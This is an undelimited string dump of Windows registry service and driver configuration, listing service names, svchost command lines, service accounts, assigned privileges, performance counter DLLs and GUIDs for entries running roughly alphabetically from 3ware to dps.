SoftCapLow ApplicationService BackgroundDefault NoCap NoCap SoftCapFull PPLE PPLE Critical NoCap NoCap SoftCapFull PPLE PPLE Critical NoCap NoCap SoftCapLowBackgroundBegin EmCreateProcess EstimateMemoryUsage Medium NoCap NoCap SoftCapLow EmCreateProcess EstimateMemoryUsage Medium NoCap NoCap HardCap0 None Frozen VeryLow NoCap NoCap HardCap0 None Frozen NoCap NoCap HardCap0 None FrozenPPLE EmptyHostPPLE NoCap NoCap SoftCapFull FileProviderTarget Foreground High NoCap NoCap SoftCapLow ForegroundAgent ShareWithFG Critical NoCap NoCap SoftCapFull ForegroundAgent None High NoCap NoCap SoftCapFull ApplicationService None Critical NoCap NoCap HardCap0 None Frozen VeryLow NoCap NoCap SoftCapLow ExtendedExecution None Medium NoCap NoCap SoftCapLow ApplicationService BackgroundDefault Medium NoCap NoCap UnmanagedAboveNormal ApplicationService None VeryHigh NoCap NoCap SoftCapLow ApplicationService BackgroundDefault NoCap NoCap SoftCapFull ForegroundAgent ShareWithFG Critical NoCap NoCap SoftCapFull StandardExternalResources None Critical NoCap NoCap SoftCapLow ForegroundAgent ShareWithFG Critical NoCap NoCap SoftCapFull StandardExternalResources None Critical NoCap NoCap SoftCapLow Windows Core OS Components 6.0.6000.16386 Windows Core OS Components 6.0.6000.16386 Windows Core OS Components 10.0.26100.1 Windows Core OS Components 10.0.26100.1 VmIcVss.NT %stdmfg% ClosePerformanceData CollectPerformanceData SqlClient: Current # pooled and nonpooled connections SqlClient: Current # pooled connections SqlClient: Current # connection pools SqlClient: Peak # pooled connections SqlClient: Total # failed connects SqlClient: Total # failed commands 65536 65536 65536 65536 65536 65536 %systemroot%\system32\netfxperf.dll OpenPerformanceData _DataPerfCounters_d.ini ClosePerformanceData CollectPerformanceData 65536 65792 65792 65536 65536 Connections Established Bytes Received Bytes Sent Datagrams Received Datagrams Sent %systemroot%\system32\netfxperf.dll OpenPerformanceData _Networkingperfcounters_v2_d.ini .NET CLR Networking 4.0.0.0 ClosePerformanceData CollectPerformanceData Connections Established Bytes Received Bytes Sent Datagrams Received Datagrams Sent HttpWebRequests Created/Sec HttpWebRequests Average Lifetime HttpWebRequests Average Lifetime Base HttpWebRequests Queued/Sec HttpWebRequests Average Queue Time HttpWebRequests Average Queue Time Base HttpWebRequests Aborted/Sec HttpWebRequests Failed/Sec 65536 65792 65792 65536 65536 4195328 1073874176 1073939458 4195328 1073874176 1073939458 4195328 4195328 %systemroot%\system32\netfxperf.dll OpenPerformanceData _Networkingperfcounters_d.ini 2e,00,4e,00,45,00,54,00,20,00,44,00,61,00,74,00,61,00,20,00,50,00,72,00,6f,00,76,00,69,00,64,00,65,00,72,00,20,00,66,00,6f,00,72,00,20,00,4f,00,72,00,61,00,63,00,6c,00,65,00,00,00,00,00 ClosePerformanceData CollectPerformanceData HardConnectsPerSecond HardDisconnectsPerSecond SoftConnectsPerSecond SoftDisconnectsPerSecond NumberOfNonPooledConnections NumberOfPooledConnections NumberOfActiveConnectionPoolGroups NumberOfInactiveConnectionPoolGroups NumberOfActiveConnectionPools NumberOfInactiveConnectionPools NumberOfActiveConnections NumberOfFreeConnections NumberOfStasisConnections NumberOfReclaimedConnections 272696320 272696320 272696320 272696320 65536 65536 65536 65536 65536 65536 65536 65536 65536 65536 %systemroot%\system32\netfxperf.dll OpenPerformanceData _DataOracleClientPerfCounters_shared12_neutral_d.ini 2e,00,4e,00,45,00,54,00,20,00,44,00,61,00,74,00,61,00,20,00,50,00,72,00,6f,00,76,00,69,00,64,00,65,00,72,00,20,00,66,00,6f,00,72,00,20,00,53,00,71,00,6c,00,53,00,65,00,72,00,76,00,65,00,72,00,00,00,00,00 ClosePerformanceData CollectPerformanceData HardConnectsPerSecond HardDisconnectsPerSecond SoftConnectsPerSecond SoftDisconnectsPerSecond NumberOfNonPooledConnections NumberOfPooledConnections NumberOfActiveConnectionPoolGroups NumberOfInactiveConnectionPoolGroups NumberOfActiveConnectionPools NumberOfInactiveConnectionPools NumberOfActiveConnections NumberOfFreeConnections NumberOfStasisConnections NumberOfReclaimedConnections 272696320 272696320 272696320 272696320 65536 65536 65536 65536 65536 65536 65536 65536 65536 65536 %systemroot%\system32\netfxperf.dll OpenPerformanceData _dataperfcounters_shared12_neutral_d.ini ClosePerformanceData CollectPerformanceData Cache Hits Cache Misses Cache Hit Ratio Cache Hit Ratio Base Cache Trims Cache Entries Cache Turnover Rate 65536 65536 537003008 1073939459 65536 65536 272696320 %systemroot%\system32\netfxperf.dll OpenPerformanceData netmemorycache_d.ini CloseCtrs CollectCtrs %systemroot%\system32\mscoree.dll OpenCtrs corperfmonsymbols_d.ini System32\drivers\3ware.sys SCSI miniport 3ware.inf Audiosrv @%SystemRoot%\system32\AarSvc.dll,-101 @%SystemRoot%\system32\AarSvc.dll,-100 %SystemRoot%\system32\svchost.exe -k AarSvcGroup -p NT Authority\LocalService SeImpersonatePrivilege %SystemRoot%\System32\AarSvc.dll ServiceMain Microsoft ACPIEx Driver Boot Bus Extender System32\Drivers\acpiex.sys @%SystemRoot%\system32\drivers\Acx01000.sys,-1000 WdfLoadGroup system32\drivers\Acx01000.sys @%systemroot%\system32\drivers\afd.sys,-1000 @%systemroot%\system32\drivers\afd.sys,-1000 PNP_TDI \SystemRoot\system32\drivers\afd.sys afunix PNP_TDI \SystemRoot\system32\drivers\afunix.sys %SystemRoot%\system32\wshunix.dll AF_UNIX @%systemroot%\system32\drivers\ahcache.sys,-101 @%systemroot%\system32\drivers\ahcache.sys,-102 system32\DRIVERS\ahcache.sys @%SystemRoot%\system32\Alg.exe,-113 @%SystemRoot%\system32\Alg.exe,-112 %SystemRoot%\System32\alg.exe NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege \SystemRoot\System32\drivers\amdgpio2.sys Extended Base @amdgpio2.inf,%GPIO.SvcDesc%;AMD GPIO Client Driver amdgpio2.inf \SystemRoot\System32\drivers\amdi2c.sys Base SpbCx @amdi2c.inf,%amdi2c.SVCDESC%;AMD I2C Controller Service amdi2c.inf System32\drivers\amdsata.sys SCSI miniport amdsata.inf System32\drivers\amdsbs.sys SCSI miniport amdsbs.inf System32\drivers\amdxata.sys SCSI miniport amdsata.inf FltMgr @%systemroot%\system32\srpapi.dll,-101 @%systemroot%\system32\srpapi.dll,-100 system32\drivers\appid.sys RpcSs AppID CryptSvc @%systemroot%\system32\appidsvc.dll,-101 @%systemroot%\system32\appidsvc.dll,-100 ProfSvc_Group %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT Authority\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\System32\appidsvc.dll RpcSs ProfSvc @%systemroot%\system32\appinfo.dll,-101 @%systemroot%\system32\appinfo.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreatePermanentPrivilege SeLoadDriverPrivilege SeSystemEnvironmentPrivilege %SystemRoot%\System32\appinfo.dll 201ef99a-7fa0-444c-9399-19ba84f12a1a 5f54ce7d-5b79-4175-8584-cb65313a0e98 fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 58e604e8-9adb-4d2e-a464-3b0683fb1480 0497B57D-2E66-424F-A0C6-157CD5D41700 0f738e20-73c0-4ca8-aa6a-8dfef545fea8 System32\drivers\AppleSSD.sys SCSI Miniport @applessd.inf,%DevDesc1%;Apple Solid State Drive Device applessd.inf FltMgr AppID AppIDSvc @%systemroot%\system32\srpapi.dll,-103 @%systemroot%\system32\srpapi.dll,-102 system32\drivers\applockerfltr.sys 265000 @appmgmts.dll,-3251 @appmgmts.dll,-3250 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeShutdownPrivilege SeTakeOwnershipPrivilege %SystemRoot%\System32\appmgmts.dll @%SystemRoot%\System32\AppReadiness.dll,-1001 @%SystemRoot%\System32\AppReadiness.dll,-1000 %SystemRoot%\System32\svchost.exe -k AppReadiness -p LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeProfileSingleProcessPrivilege %SystemRoot%\system32\AppReadiness.dll RpcSS netprofm AppvVfs AppVStrm @%systemroot%\system32\AppVClient.exe,-101 @%systemroot%\system32\AppVClient.exe,-102 %systemroot%\system32\AppVClient.exe LocalSystem FltMgr @%systemroot%\system32\drivers\AppvStrm.sys,-102 @%systemroot%\system32\drivers\AppvStrm.sys,-101 FSFilter HSM \SystemRoot\system32\drivers\AppvStrm.sys AppvStrm Instance 180710 FltMgr @%systemroot%\system32\drivers\AppvVemgr.sys,-102 @%systemroot%\system32\drivers\AppvVemgr.sys,-101 FSFilter Activity Monitor \SystemRoot\system32\drivers\AppvVemgr.sys AppvVemgr Instance 40800 FltMgr AppvVemgr @%systemroot%\system32\drivers\AppvVfs.sys,-102 @%systemroot%\system32\drivers\AppvVfs.sys,-101 FSFilter Activity Monitor \SystemRoot\system32\drivers\AppvVfs.sys AppvVfs Instance 404700 rpcss @%SystemRoot%\system32\ApxSvc.dll,-201 @%SystemRoot%\system32\ApxSvc.dll,-200 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\System32\ApxSvc.dll c574536e-f3f3-4c12-aebe-1adc93aa8e78 @%SystemRoot%\system32\assignedaccessmanagersvc.dll,-101 @%SystemRoot%\system32\assignedaccessmanagersvc.dll,-100 %SystemRoot%\system32\svchost.exe -k AssignedAccessManagerSvc LocalSystem %SystemRoot%\System32\assignedaccessmanagersvc.dll ServiceMain \SystemRoot\System32\drivers\asyncmac.sys @%systemroot%\system32\mprmsg.dll,-32000 @%systemroot%\system32\mprmsg.dll,-32000 netrasa.inf @%SystemRoot%\System32\AudioEndpointBuilder.dll,-205 @%SystemRoot%\system32\AudioEndpointBuilder.dll,-204 AudioGroup %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeDebugPrivilege %SystemRoot%\System32\AudioEndpointBuilder.dll AudioEndpointBuilder RpcSs @%SystemRoot%\System32\audiosrv.dll,-201 @%SystemRoot%\system32\audiosrv.dll,-200 AudioGroup %SystemRoot%\System32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege SeIncreaseWorkingSetPrivilege %SystemRoot%\System32\Audiosrv.dll rpcss @%SystemRoot%\System32\autotimesvc.dll,-7 @%SystemRoot%\System32\autotimesvc.dll,-6 %SystemRoot%\system32\svchost.exe -k autoTimeSvc NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeSystemTimePrivilege %SystemRoot%\System32\autotimesvc.dll ServiceMain rpcss @%SystemRoot%\system32\AxInstSV.dll,-104 @%SystemRoot%\system32\AxInstSV.dll,-103 %SystemRoot%\system32\svchost.exe -k AxInstSVGroup LocalSystem SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\System32\AxInstSV.dll System32\drivers\bxvbda.sys System Bus Extender @netbvbda.inf,%vbd_srv_desc%;QLogic Network Adapter VBD netbvbda.inf @%SystemRoot%\system32\drivers\bam.sys,-101 @%SystemRoot%\system32\drivers\bam.sys,-100 system32\drivers\bam.sys system32\drivers\battc.sys RpcSs @%SystemRoot%\system32\BcastDVRUserService.dll,-101 @%SystemRoot%\system32\BcastDVRUserService.dll,-100 %SystemRoot%\system32\svchost.exe -k BcastDVRUserService LocalSystem SeImpersonatePrivilege %SystemRoot%\System32\BcastDVRUserService.dll \SystemRoot\System32\drivers\bcmfn2.sys Extended Base @bcmfn2.inf,%bcmfn2.SVCDESC%;bcmfn2 Service bcmfn2.inf @%SystemRoot%\system32\bdesvc.dll,-101 @%SystemRoot%\system32\bdesvc.dll,-100 %SystemRoot%\System32\svchost.exe -k netsvcs -p localSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeSystemEnvironmentPrivilege SeBackupPrivilege SeRestorePrivilege %SystemRoot%\System32\bdesvc.dll Beep Base RpcSs @%SystemRoot%\system32\bfe.dll,-1002 @%SystemRoot%\system32\bfe.dll,-1001 NetworkProvider %systemroot%\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p NT AUTHORITY\LocalService SeAuditPrivilege %SystemRoot%\System32\bfe.dll BfeServiceMain @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 MPSSVC Stores filter origin Quarantine Default MPSSVC Stores filter origin Boottime Default @%systemroot%\system32\drivers\bfs.sys,-101 @%systemroot%\system32\drivers\bfs.sys,-100 FSFilter Virtualization \SystemRoot\system32\drivers\bfs.sys 150000 C:\ProgramData FltMgr @%systemroot%\system32\drivers\bindflt.sys,-101 @%systemroot%\system32\drivers\bindflt.sys,-100 FSFilter Top \SystemRoot\system32\drivers\bindflt.sys bindflt Instance mixer1 409800 RpcSs @%SystemRoot%\system32\qmgr.dll,-1001 @%SystemRoot%\system32\qmgr.dll,-1000 %SystemRoot%\System32\svchost.exe -k netsvcs -p LocalSystem SeCreateGlobalPrivilege SeImpersonatePrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeDebugPrivilege %SystemRoot%\System32\qmgr.dll PerfMon_Close PerfMon_Collect C:\Windows\System32\bitsperf.dll PerfMon_Open bitsctrs.ini bthserv rpcss @%SystemRoot%\system32\Microsoft.Bluetooth.UserService.dll,-102 @%SystemRoot%\system32\Microsoft.Bluetooth.UserService.dll,-101 %SystemRoot%\system32\svchost.exe -k BthAppGroup -p %SystemRoot%\System32\Microsoft.Bluetooth.UserService.dll @%systemroot%\system32\wkssvc.dll,-2000 @%systemroot%\system32\wkssvc.dll,-2001 Network system32\DRIVERS\bowser.sys RpcEptMapper DcomLaunch RpcSs @%windir%\system32\bisrv.dll,-101 @%windir%\system32\bisrv.dll,-100 COM Infrastructure %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeCreatePermanentPrivilege SeDebugPrivilege SeImpersonatePrivilege SeShutdownPrivilege SeTcbPrivilege SeProfileSingleProcessPrivilege %SystemRoot%\System32\psmsrv.dll rpcss @%SystemRoot%\system32\BTAGService.dll,-102 @%SystemRoot%\system32\BTAGService.dll,-101 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\BTAGService.dll rpcss @%SystemRoot%\system32\BthAvctpSvc.dll,-102 @%SystemRoot%\system32\BthAvctpSvc.dll,-101 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\System32\BthAvctpSvc.dll AVRCP @%SystemRoot%\System32\bthserv.dll,-102 @%SystemRoot%\System32\bthserv.dll,-101 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\bthserv.dll D09BDEB5-6171-4A34-BFE2-06FA82652568:FCCAE962-4722-40C7-A46D-FE5153280723 2ACB9D68-B434-4B3E-B966-E06B4B3A84CB RpcSs @%SystemRoot%\system32\CaptureService.dll,-101 @%SystemRoot%\system32\CaptureService.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeImpersonatePrivilege %SystemRoot%\System32\CaptureService.dll ServiceMain @%SystemRoot%\system32\cbdhsvc.dll,-101 @%SystemRoot%\system32\cbdhsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k ClipboardSvcGroup -p LocalSystem SeImpersonatePrivilege %SystemRoot%\System32\cbdhsvc.dll @%SystemRoot%\system32\cdd.dll,-102 @%SystemRoot%\system32\cdd.dll,-101 Video Init \SystemRoot\System32\cdd.dll SCSI CDROM Class ISO9660/Joliet File System Reader for CD/DVDs. (Core) (All pieces) CD/DVD File System Reader Boot File System system32\DRIVERS\cdfs.sys ncbservice RpcSS Tcpip @%SystemRoot%\system32\cdpsvc.dll,-101 @%SystemRoot%\system32\cdpsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeImpersonatePrivilege %SystemRoot%\System32\CDPSvc.dll @%SystemRoot%\system32\cdpusersvc.dll,-101 @%SystemRoot%\system32\cdpusersvc.dll,-100 %SystemRoot%\system32\svchost.exe -k UnistackSvcGroup LocalSystem SeImpersonatePrivilege %SystemRoot%\System32\CDPUserSvc.dll RpcSs @%SystemRoot%\System32\certprop.dll,-12 @%SystemRoot%\System32\certprop.dll,-11 %SystemRoot%\system32\svchost.exe -k netsvcs LocalSystem SeCreateGlobalPrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege %SystemRoot%\System32\certprop.dll CertPropServiceMain System32\drivers\cht4sx64.sys SCSI Miniport cht4sx64.inf File system FltMgr Windows Cloud Files Filter Driver FSFilter HSM system32\drivers\cldflt.sys CldFlt 180451 rpcss @%SystemRoot%\system32\ClipSVC.dll,-104 @%SystemRoot%\system32\ClipSVC.dll,-103 %SystemRoot%\System32\svchost.exe -k wsappx -p LocalSystem SeCreateGlobalPrivilege SeChangeNotifyPrivilege SeSystemEnvironmentPrivilege %SystemRoot%\System32\ClipSVC.dll 64D1D045-F675-460B-8A94-570246B36DAB @%SystemRoot%\system32\CloudRestoreLauncher.dll,-101 @%SystemRoot%\system32\CloudRestoreLauncher.dll,-100 %SystemRoot%\system32\svchost.exe -k UnistackSvcGroup LocalSystem %SystemRoot%\System32\CloudRestoreLauncher.dll ServiceMain @%SystemRoot%\system32\cloudidsvc.dll,-101 @%SystemRoot%\system32\cloudidsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k CloudIdServiceGroup -p NT AUTHORITY\NetworkService %SystemRoot%\system32\cloudidsvc.dll SeCreateGlobalPrivilege SeChangeNotifyPrivilege SeIncreaseBasePriorityPrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeShutdownPrivilege SeCreateGlobalPrivilege SeChangeNotifyPrivilege SeIncreaseBasePriorityPrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeShutdownPrivilege Core System32\Drivers\cng.sys @%SystemRoot%\system32\drivers\cnghwassist.sys,-100 @%SystemRoot%\system32\drivers\cnghwassist.sys,-100 Base System32\DRIVERS\cnghwassist.sys RpcSs EventSystem SENS @comres.dll,-948 @comres.dll,-947 %SystemRoot%\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235} LocalSystem SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeDebugPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege Console Driver Base System32\drivers\condrv.sys RpcSs @%SystemRoot%\system32\ConsentUxClient.dll,-101 @%SystemRoot%\system32\ConsentUxClient.dll,-100 %SystemRoot%\system32\svchost.exe -k DevicesFlow LocalSystem %SystemRoot%\System32\ConsentUxClient.dll rpcss @%SystemRoot%\system32\coremessaging.dll,-2 @%SystemRoot%\system32\coremessaging.dll,-1 %SystemRoot%\system32\svchost.exe -k LocalServiceNoNetwork -p NT AUTHORITY\LocalService %SystemRoot%\system32\coremessaging.dll RpcSs @%SystemRoot%\system32\CredentialEnrollmentManager.exe,-101 @%SystemRoot%\system32\CredentialEnrollmentManager.exe,-100 %SystemRoot%\system32\CredentialEnrollmentManager.exe RpcSs @%SystemRoot%\system32\cryptsvc.dll,-1002 @%SystemRoot%\system32\cryptsvc.dll,-1001 %SystemRoot%\system32\svchost.exe -k NetworkService -p NT Authority\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\cryptsvc.dll CryptServiceMain F50AAC00-C7F3-428e-A022-A6B71BFB9D43 rdbss @%systemroot%\system32\cscsvc.dll,-203 @%systemroot%\system32\cscsvc.dll,-202 network system32\drivers\csc.sys RpcSs @%systemroot%\system32\cscsvc.dll,-201 @%systemroot%\system32\cscsvc.dll,-200 ProfSvc_Group %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeIncreaseBasePriorityPrivilege %SystemRoot%\System32\cscsvc.dll CscServiceMain @%SystemRoot%\system32\drivers\dam.sys,-101 @%SystemRoot%\system32\drivers\dam.sys,-100 system32\drivers\dam.sys @combase.dll,-5013 @combase.dll,-5012 COM Infrastructure %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeDebugPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege %SystemRoot%\system32\rpcss.dll rpcss @%systemroot%\system32\dcsvc.dll,-102 @%systemroot%\system32\dcsvc.dll,-101 LocalSystem %systemroot%\system32\svchost.exe -k netsvcs -p %SystemRoot%\system32\dcsvc.dll ServiceMain 59beb977-d037-48f4-af74-ca075493a523 0a0db614-e9fb-48cf-9143-7ae718ff2c83 RPCSS @%SystemRoot%\system32\defragsvc.dll,-102 @%SystemRoot%\system32\defragsvc.dll,-101 %SystemRoot%\system32\svchost.exe -k defragsvc localSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeIncreaseWorkingSetPrivilege SeTcbPrivilege SeSystemProfilePrivilege SeAuditPrivilege SeCreateGlobalPrivilege SeBackupPrivilege SeManageVolumePrivilege %Systemroot%\System32\defragsvc.dll RpcSs @%SystemRoot%\system32\deviceaccess.dll,-108 @%SystemRoot%\system32\deviceaccess.dll,-107 %SystemRoot%\system32\svchost.exe -k DevicesFlow -p LocalSystem %SystemRoot%\System32\deviceaccess.dll @%SystemRoot%\system32\das.dll,-101 @%SystemRoot%\system32\das.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeAssignPrimaryTokenPrivilege SeRestorePrivilege SeImpersonatePrivilege SeTcbPrivilege SeDebugPrivilege SeLoadDriverPrivilege %SystemRoot%\system32\das.dll bd84cd86-9825-4376-813d-334c543f89b1 850cee52-3038-4277-b9b4-e05db8b2c35c 2e7d4935-59d2-4312-a2c8-41900aa5495f a1d4eae7-39f8-4bca-8e72-832767f5082a 6319e220-2fd5-48bc-a92f-ba70384e4d24 @%SystemRoot%\system32\umpnpmgr.dll,-101 @%SystemRoot%\system32\umpnpmgr.dll,-100 PlugPlay %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem SeTcbPrivilege SeSecurityPrivilege SeAssignPrimaryTokenPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeImpersonatePrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeUndockPrivilege SeDebugPrivilege SeShutdownPrivilege %SystemRoot%\system32\umpnpmgr.dll 5c9a4cd7-ba75-45d2-9898-1773b3d1e5f1 RpcSs @%SystemRoot%\system32\Windows.Devices.Picker.dll,-1007 @%SystemRoot%\system32\Windows.Devices.Picker.dll,-1006 %SystemRoot%\system32\svchost.exe -k DevicesFlow LocalSystem %SystemRoot%\System32\Windows.Devices.Picker.dll RpcSs @%SystemRoot%\system32\DevicesFlowBroker.dll,-104 @%SystemRoot%\system32\DevicesFlowBroker.dll,-103 %SystemRoot%\system32\svchost.exe -k DevicesFlow LocalSystem %SystemRoot%\System32\DevicesFlowBroker.dll @%SystemRoot%\system32\DevQueryBroker.dll,-101 @%SystemRoot%\system32\DevQueryBroker.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeAssignPrimaryTokenPrivilege SeRestorePrivilege SeImpersonatePrivilege SeTcbPrivilege SeDebugPrivilege %SystemRoot%\system32\DevQueryBroker.dll D09BDEB5-6171-4A34-BFE2-06FA82652568:314c8427-4ad7-4233-995a-bbd062ed11e9 @%systemroot%\system32\wkssvc.dll,-1009 @%systemroot%\system32\wkssvc.dll,-1008 Network System32\Drivers\dfsc.sys @%SystemRoot%\system32\dhcpcore.dll,-101 @%SystemRoot%\system32\dhcpcore.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT Authority\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\dhcpcore.dll SYSTEM\CurrentControlSet\Services\NetBT\Parameters\DhcpScopeID SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\?\DhcpNameServer SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\DhcpNameServer SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_?\DhcpNetbiosOptions %SystemRoot%\system32\dhcpcore6.dll SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\?\Dhcpv6DNSServers SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Dhcpv6DNSServers SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\?\Dhcpv6DomainSearchList SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Dhcpv6DomainSearchList RpcSs @%systemroot%\system32\DiagSvc.dll,-101 @%systemroot%\system32\DiagSvc.dll,-100 %SystemRoot%\System32\svchost.exe -k diagnostics LocalSystem SeTcbPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeBackupPrivilege SeImpersonatePrivilege SeLoadDriverPrivilege SeRestorePrivilege SeManageVolumePrivilege %systemroot%\system32\DiagSvc.dll ServiceMain FDD45924-784A-499C-AEE9-0813850CE182 RpcSs @%SystemRoot%\system32\diagtrack.dll,-3002 @%SystemRoot%\system32\diagtrack.dll,-3001 %SystemRoot%\System32\svchost.exe -k utcsvc -p LocalSystem SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege SeSystemProfilePrivilege SeTcbPrivilege SeDebugPrivilege SeSecurityPrivilege %SystemRoot%\system32\diagtrack.dll ServiceMain @%SystemRoot%\system32\DialogBlockingService.dll,-101 @%SystemRoot%\system32\DialogBlockingService.dll,-100 %SystemRoot%\system32\svchost.exe -k DialogBlockingService LocalSystem %SystemRoot%\System32\DialogBlockingService.dll ServiceMain RpcSS @%SystemRoot%\system32\dispbroker.desktop.dll,-102 @%SystemRoot%\system32\dispbroker.desktop.dll,-101 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeImpersonatePrivilege %SystemRoot%\System32\DispBroker.Desktop.dll ServiceMain @%SystemRoot%\System32\Microsoft.Graphics.Display.DisplayEnhancementService.dll,-1001 @%SystemRoot%\System32\Microsoft.Graphics.Display.DisplayEnhancementService.dll,-1000 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\system32\Microsoft.Graphics.Display.DisplayEnhancementService.dll A69816F5-83B6-4D48-8633-067F99F5F2D3 B54E9AA3-CF29-4F21-A8EA-98C5850CE296 rpcss @%systemroot%\system32\Windows.Internal.Management.dll,-101 @%systemroot%\system32\Windows.Internal.Management.dll,-100 %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege SeBackupPrivilege SeRestorePrivilege SeSystemEnvironmentPrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege SeShutdownPrivilege %systemroot%\system32\Windows.Internal.Management.dll ServiceMain rpcss @%SystemRoot%\system32\dmwappushsvc.dll,-201 @%SystemRoot%\system32\dmwappushsvc.dll,-200 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem %SystemRoot%\system32\dmwappushsvc.dll ServiceMain 795B6BF9-97B6-4F89-BD8D-2F42BBBE996E rpcss @%systemroot%\system32\dosvc.dll,-101 @%systemroot%\system32\dosvc.dll,-100 %SystemRoot%\System32\svchost.exe -k NetworkService -p NT Authority\NetworkService %SystemRoot%\system32\dosvc.dll RpcSs Ndisuio Eaphost @%systemroot%\system32\dot3svc.dll,-1103 @%systemroot%\system32\dot3svc.dll,-1102 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p localSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege SeTcbPrivilege %SystemRoot%\System32\dot3svc.dll Dot3SvcMain @%systemroot%\system32\dps.dll,-501 @%systemroot%\system32\dps.dll,-500 %SystemRoot%\System32\svchost.exe -k LocalServiceNoNetwork 